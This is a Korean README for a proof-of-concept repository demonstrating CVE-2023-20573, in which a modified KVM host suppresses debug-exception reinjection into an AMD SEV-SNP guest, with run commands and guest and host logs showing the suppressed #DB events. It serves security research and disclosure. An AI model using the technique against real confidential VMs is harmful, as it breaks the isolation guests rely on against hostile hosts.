
CVE-2023-20573을 시연하는 개념 증명: AMD SEV-SNP의 하드웨어 취약점으로, KVM에서 예외 재주입 억제를 허용하여 명령 수준 악용을 가능하게 합니다.
이 저장소는 사용자 정의 커널로 SEV-SNP 게스트를 부팅하는 VMM을 포함합니다. VMM과 커널은 제 프로젝트의 축소 버전입니다. 호스트에서 실행하려면 수정된 Linux 커널이 필요합니다: https://github.com/Freax13/linux/tree/for-amd.
이 PoC는 다음과 같이 실행할 수 있습니다:
cd host
cargo run -p vmm
이 코드는 두 명령어 사이를 오가며 점프합니다:
2:
nop
jmp 2b
FLAGS 레지스터에서 TF 플래그가 설정되면 명령어 포인터가 두 명령어를 번갈아 가리키는 예외가 생성되어야 합니다.
게스트 커널은 인터럽트 스택 프레임에서 보고된 명령어 포인터를 단순히 기록하는 예외 핸들러를 정의합니다. 이론적으로 로그는 다음과 같아야 합니다:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
하지만 실제로는 수정된 호스트 커널이 재주입을 억제하여 다음과 같은 로그가 나타납니다:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
억제된 이벤트는 호스트 커널 로그에 표시됩니다:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
이는 #DB 예외의 전달이 억제되었음을 보여줍니다.